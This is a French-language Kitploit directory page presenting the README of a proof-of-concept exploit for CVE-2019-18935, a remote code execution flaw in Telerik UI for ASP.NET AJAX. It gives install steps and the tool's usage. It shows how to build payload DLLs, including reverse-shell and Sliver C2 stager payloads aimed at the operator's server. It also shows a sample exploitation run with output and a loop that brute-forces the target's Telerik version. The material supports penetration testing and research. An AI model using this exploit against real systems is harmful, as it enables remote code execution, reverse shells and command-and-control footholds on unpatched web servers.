Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2019-18935 — Exploit RCE pour une vulnérabilité de désérialisation JSON .NET dans Telerik UI for ASP.NET AJAX. | Kitploit
Outils/GitHubGitHub/noperator/cve-2019-18935
Analyse des VulnérabilitésExploitationShellcodeExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleRed TeamingDéveloppement de Charges Utiles
GitHubnoperator/cve-2019-18935

CVE-2019-18935

Exploit RCE pour une vulnérabilité de désérialisation JSON .NET dans Telerik UI for ASP.NET AJAX.

Voir le dépôt
3738813il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2019-18935

Exploit de preuve de concept pour une vulnérabilité de désérialisation JSON .NET dans Telerik UI for ASP.NET AJAX permettant l'exécution de code à distance.

Description

Telerik UI for ASP.NET AJAX est une suite de composants d'interface utilisateur largement utilisée pour les applications web. Elle désérialise de manière non sécurisée des objets JSON, ce qui conduit à une exécution de code arbitraire à distance sur l'hôte sous-jacent du logiciel. Pour plus d'informations, voir :

  • La conférence DerpCon .NET Roulette (diapositives) qui détaille les fondamentaux supplémentaires de l'exploitation de la désérialisation non sécurisée, les applique à cet exploit et présente quelques astuces pour obtenir des shells sur les applications web ASP.NET.
  • L'analyse complète sur Bishop Fox, incluant une présentation détaillée de cette vulnérabilité et des détails d'exploitation pour ce problème (ainsi que des instructions de correctif).

Pour commencer

Prérequis

Vous aurez besoin de Visual Studio et du .NET Framework SDK installés pour compiler des charges utiles DLL d'assembly .NET en mode mixte à l'aide de build-dll.bat.

Installation

git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt

Cet exploit utilise la logique de chiffrement de RAU_crypto. La classe RAUCipher dans RAU_crypto.py dépend de PyCryptodome, un remplaçant direct du module PyCrypto, mort. PyCryptodome et PyCrypto posent problème lorsqu'ils sont installés dans le même environnement ; le meilleur moyen de satisfaire cette dépendance est donc d'installer le module dans un environnement virtuel, comme indiqué ci-dessus.

Configuration

Faites pointer la ligne 17 de build-dll.bat vers le chemin de votre installation Visual Studio.

set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build

Utilisation

$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
                         [-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
                         [-f FOLDER] -u URL

Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.

optional arguments:
  -h, --help          show this help message and exit
  -t                  just upload a file
  -d                  just deserialize
  -r FILENAME_REMOTE  remote payload name, for optional use with -d
  -s SMB_SERVER       remote SMB server, for optional use with -d
  -v UI_VERSION       software version
  -n NET_VERSION      .NET version
  -p PAYLOAD          mixed mode assembly DLL
  -f FOLDER           destination folder on target
  -u URL              https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau

Compiler une charge utile DLL d'assembly .NET en mode mixte

Certaines charges utiles (par exemple reverse-shell.c et sliver-stager.c) nécessitent de définir les champs HOST et PORT pour pointer vers votre serveur C2 — assurez-vous de le faire !

Dans un environnement Windows avec Visual Studio installé, utilisez build-dll.bat pour générer des DLL d'assembly en mode mixte 32 et 64 bits à utiliser comme charge utile lors de la désérialisation. Vous pouvez éventuellement spécifier une architecture CPU cible comme second argument en ligne de commande (par exemple x86).

build-dll.bat sleep.c

Téléverser la charge utile sur la cible et la charger dans l'application

Transmettez la DLL générée ci-dessus à CVE-2019-18935.py, qui téléversera la DLL dans un répertoire du serveur cible (à condition que le serveur web dispose des droits d'écriture dans ce répertoire), puis chargera cette DLL dans l'application via l'exploit de désérialisation non sécurisée.

$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name:  sleep-2019121205271355-x86.dll
[*] Destination folder:  C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll

{'fileInfo': {'ContentLength': 75264,
              'ContentType': 'application/octet-stream',
              'DateJson': '1970-01-01T00:00:00.000Z',
              'FileName': '1576142987.918625.dll',
              'Index': 0},
 'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
                                     'Telerik.Web.UI, Version=<VERSION>, '
                                     'Culture=neutral, '
                                     'PublicKeyToken=<TOKEN>',
              'TempFileName': '1576142987.918625.dll'}}

[*] Triggering deserialization...

<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...

[*] Response time: 13.01 seconds

Dans l'exemple ci-dessus, l'application a mis au moins 10 secondes à répondre, ce qui indique que la charge utile DLL a bien invoqué Sleep(10000).

Forcer par force brute la version de Telerik UI

Comme détaillé dans la conférence DerpCon .NET Roulette (39:46), nous pouvons forcer par force brute la version de Telerik UI en ne spécifiant que la version majeure de l'assembly Telerik.Web.UI (c'est-à-dire la partie 2017 de la chaîne de version complète 2017.2.503.40) lors du téléversement d'un fichier. Cette technique réduit considérablement l'espace de recherche par rapport au brute-force de chaque version spécifique de ce logiciel — et, en bonus, elle peut même détecter des versions qui ne figurent pas explicitement dans l'historique des versions de ce logiciel. En savoir plus sur le versioning des assemblys .NET sur MSDN.

$ for YEAR in $(seq 2013 2018); do
    echo -n "$YEAR: "
    python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
    grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
    echo
done

2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
Télécharger l’outil